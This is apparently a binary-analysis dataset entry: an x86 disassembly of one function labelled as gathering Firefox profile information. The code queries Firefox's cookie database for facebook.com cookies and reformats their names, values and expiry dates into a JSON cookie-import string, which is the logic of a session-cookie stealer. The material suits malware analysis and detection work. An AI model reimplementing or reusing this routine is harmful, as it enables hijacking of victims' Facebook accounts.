Function at 0x5289b0
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x129c
call fcn.004f52d0
mov eax, dword [0x559940]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x1214], 0
mov dword [ebp - 0x1298], 0
mov dword [ebp - 0x1224], 0
nop
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 0x10]
mov byte [edx + ecx], 0
mov eax, 2
imul ecx, eax, 0
mov dword [ebp - 0x1264], ecx
cmp dword [ebp - 0x1264], 0x208
jae 0x528a13
jmp 0x528a18
call fcn.004f48a4
xor edx, edx
mov eax, dword [ebp - 0x1264]
mov word [ebp + eax - 0x20c], dx
lea ecx, [ebp - 0x20c]
push ecx
call fcn.004ef000
add esp, 4
mov dword [ebp - 0x1260], eax
nop
cmp dword [ebp - 0x1260], 0
je 0x528a52
mov eax, dword [ebp - 0x1260]
jmp 0x528fc5
nop
lea edx, [ebp - 0x20c]
push edx
call fcn.004dea90
add esp, 4
mov dword [ebp - 0x1270], eax
lea eax, [ebp - 0x1214]
push eax
mov ecx, dword [ebp - 0x1270]
push ecx
call fcn.004a0610
add esp, 8
mov dword [ebp - 0x1290], eax
nop
cmp dword [ebp - 0x1290], 0
je 0x528ab8
mov edx, dword [ebp - 0x1214]
push edx
call fcn.0049dae0
add esp, 4
lea eax, [ebp - 0x20c]
push eax
call fcn.004d60f0
mov ecx, dword [eax + 0x74]
call ecx
mov eax, 0x14
jmp 0x528fc5
nop
mov edx, 1
imul eax, edx, 0
mov ecx, dword [ebp + 8]
mov byte [ecx + eax], 0
mov edx, 1
imul eax, edx, 0
mov ecx, dword [ebp + 0xc]
mov byte [ecx + eax], 0
mov dword [ebp - 0x1218], 0
nop
lea edx, [ebp - 0x1218]
push edx
lea eax, [ebp - 0x1210]
push eax
push 0xffffffffffffffff
push 0x5395cc
mov ecx, dword [ebp - 0x1214]
push ecx
call fcn.00470e90
add esp, 0x14
mov dword [ebp - 0x1248], eax
cmp dword [ebp - 0x1248], 0
je 0x528b29
mov dword [ebp - 0x1224], 0x19
jmp 0x528f90
mov edx, dword [ebp - 0x1210]
push edx
call fcn.004302c0
add esp, 4
cmp eax, 0x64
je 0x528b51
mov dword [ebp - 0x1224], 0x15
jmp 0x528f90
nop
push 0
mov eax, dword [ebp - 0x1210]
push eax
call fcn.00430cd0
add esp, 8
mov dword [ebp - 0x1268], eax
cmp dword [ebp - 0x1268], 0
jne 0x528b86
mov dword [ebp - 0x1224], 0x16
jmp 0x528f90
nop
mov byte [ebp - 0x1241], 1
mov ecx, dword [ebp - 0x1210]
push ecx
call fcn.0042f200
add esp, 4
nop
nop
lea edx, [ebp - 0x1218]
push edx
lea eax, [ebp - 0x1210]
push eax
push 0xffffffffffffffff
push str.SELECT_host_name_value_expiry_FROM_moz_cookies_where_host.facebook.com_
mov ecx, dword [ebp - 0x1214]
push ecx
call fcn.00470e90
add esp, 0x14
mov dword [ebp - 0x1248], eax
cmp dword [ebp - 0x1248], 0
je 0x528bf9
mov edx, dword [ebp - 0x1214]
push edx
call fcn.0049dae0
add esp, 4
lea eax, [ebp - 0x20c]
push eax
call fcn.004d60f0
mov ecx, dword [eax + 0x74]
call ecx
xor eax, eax
jmp 0x528fc5
nop
mov edx, dword [ebp - 0x1210]
push edx
call fcn.004302c0
add esp, 4
cmp eax, 0x64
jne 0x528f4b
mov dword [ebp - 0x129c], 0
push 0
mov eax, dword [ebp - 0x1210]
push eax
call fcn.00430ea0
add esp, 8
mov dword [ebp - 0x126c], eax
push 1
mov ecx, dword [ebp - 0x1210]
push ecx
call fcn.00430ea0
add esp, 8
mov dword [ebp - 0x124c], eax
push 2
mov edx, dword [ebp - 0x1210]
push edx
call fcn.00430ea0
add esp, 8
mov dword [ebp - 0x1250], eax
push 3
mov eax, dword [ebp - 0x1210]
push eax
call fcn.00430db0
add esp, 8
mov dword [ebp - 0x128c], eax
mov dword [ebp - 0x1288], edx
push 0x1000
push 0
lea ecx, [ebp - 0x120c]
push ecx
call fcn.004f7f30
add esp, 0xc
mov edx, dword [ebp - 0x1250]
push edx
mov eax, dword [ebp - 0x124c]
push eax
mov ecx, dword [ebp - 0x1288]
push ecx
mov edx, dword [ebp - 0x128c]
push edx
mov eax, dword [ebp - 0x126c]
push eax
push str._domain_:__s___expirationDate_:_I64u__hostOnly_:false__httpOnly_:true__name_:__s___path_:_____secure_:true__session_:false__storeId_:_0___value_:__s___id_:0
push 0x1000
lea ecx, [ebp - 0x120c]
push ecx
call fcn.004aac80
add esp, 0x20
nop
mov edx, dword [ebp + 8]
mov dword [ebp - 0x1228], edx
mov eax, dword [ebp - 0x1228]
add eax, 1
mov dword [ebp - 0x1284], eax
mov ecx, dword [ebp - 0x1228]
mov dl, byte [ecx]
mov byte [ebp - 0x1219], dl
add dword [ebp - 0x1228], 1
cmp byte [ebp - 0x1219], 0
jne 0x528ce9
mov eax, dword [ebp - 0x1228]
sub eax, dword [ebp - 0x1284]
mov dword [ebp - 0x1274], eax
je 0x528d58
mov ecx, dword [ebp + 8]
add ecx, 0xffffffff
mov dword [ebp - 0x1234], ecx
mov edx, dword [ebp - 0x1234]
mov al, byte [edx + 1]
mov byte [ebp - 0x121a], al
add dword [ebp - 0x1234], 1
cmp byte [ebp - 0x121a], 0
jne 0x528d27
mov edi, dword [ebp - 0x1234]
mov cx, word [0x539644]
mov word [edi], cx
jmp 0x528d64
mov edx, dword [ebp + 8]
mov ax, word [0x539648]
mov word [edx], ax
lea ecx, [ebp - 0x120c]
mov dword [ebp - 0x122c], ecx
mov edx, dword [ebp - 0x122c]
mov dword [ebp - 0x1254], edx
mov eax, dword [ebp - 0x122c]
mov cl, byte [eax]
mov byte [ebp - 0x121b], cl
add dword [ebp - 0x122c], 1
cmp byte [ebp - 0x121b], 0
jne 0x528d7c
mov edx, dword [ebp - 0x122c]
sub edx, dword [ebp - 0x1254]
mov eax, dword [ebp - 0x1254]
mov dword [ebp - 0x1278], eax
mov dword [ebp - 0x127c], edx
mov ecx, dword [ebp + 8]
add ecx, 0xffffffff
mov dword [ebp - 0x1238], ecx
mov edx, dword [ebp - 0x1238]
mov al, byte [edx + 1]
mov byte [ebp - 0x121c], al
add dword [ebp - 0x1238], 1
cmp byte [ebp - 0x121c], 0
jne 0x528dc4
mov edi, dword [ebp - 0x1238]
mov esi, dword [ebp - 0x1278]
mov edx, dword [ebp - 0x127c]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
mov eax, 1
imul ecx, eax, 0
mov dword [ebp - 0x1258], ecx
cmp dword [ebp - 0x1258], 0x1000
jae 0x528e20
jmp 0x528e25
call fcn.004f48a4
mov edx, dword [ebp - 0x1258]
mov byte [ebp + edx - 0x120c], 0
mov eax, dword [ebp - 0x1250]
push eax
mov ecx, dword [ebp - 0x124c]
push ecx
push 0x53964c
push 0x1000
lea edx, [ebp - 0x120c]
push edx
call fcn.004aac80
add esp, 0x14
lea eax, [ebp - 0x120c]
mov dword [ebp - 0x1230], eax
mov ecx, dword [ebp - 0x1230]
mov dword [ebp - 0x125c], ecx
mov edx, dword [ebp - 0x1230]
mov al, byte [edx]
mov byte [ebp - 0x121d], al
add dword [ebp - 0x1230], 1
cmp byte [ebp - 0x121d], 0
jne 0x528e72
mov ecx, dword [ebp - 0x1230]
sub ecx, dword [ebp - 0x125c]
mov edx, dword [ebp - 0x125c]
mov dword [ebp - 0x1280], edx
mov dword [ebp - 0x1294], ecx
mov eax, dword [ebp + 0xc]
add eax, 0xffffffff
mov dword [ebp - 0x123c], eax
mov ecx, dword [ebp - 0x123c]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x121e], dl
add dword [ebp - 0x123c], 1
cmp byte [ebp - 0x121e], 0
jne 0x528eba
mov edi, dword [ebp - 0x123c]
mov esi, dword [ebp - 0x1280]
mov eax, dword [ebp - 0x1294]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
push 0x539654
mov ecx, dword [ebp - 0x124c]
push ecx
call fcn.00509821
add esp, 8
test eax, eax
jne 0x528f3b
mov edx, 1
imul eax, edx, 0
mov ecx, dword [ebp + 0x10]
mov byte [ecx + eax], 0
mov edx, dword [ebp - 0x1250]
push edx
push 0x53965c
push 0x32
mov eax, dword [ebp + 0x10]
push eax
call fcn.004aac80
add esp, 0x10
nop
mov dword [ebp - 0x1224], 1
jmp 0x528bfa
cmp dword [ebp - 0x1224], 1
jne 0x528f8f
mov ecx, dword [ebp + 8]
add ecx, 0xffffffff
mov dword [ebp - 0x1240], ecx
mov edx, dword [ebp - 0x1240]
mov al, byte [edx + 1]
mov byte [ebp - 0x121f], al
add dword [ebp - 0x1240], 1
cmp byte [ebp - 0x121f], 0
jne 0x528f60
mov edi, dword [ebp - 0x1240]
mov cx, word [0x539660]
mov word [edi], cx
nop
mov edx, dword [ebp - 0x1210]
push edx
call fcn.0042f200
add esp, 4
mov eax, dword [ebp - 0x1214]
push eax
call fcn.0049dae0
add esp, 4
lea ecx, [ebp - 0x20c]
push ecx
call fcn.004d60f0
mov edx, dword [eax + 0x74]
call edx
mov eax, dword [ebp - 0x1224]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f49c2
mov esp, ebp
pop ebp
ret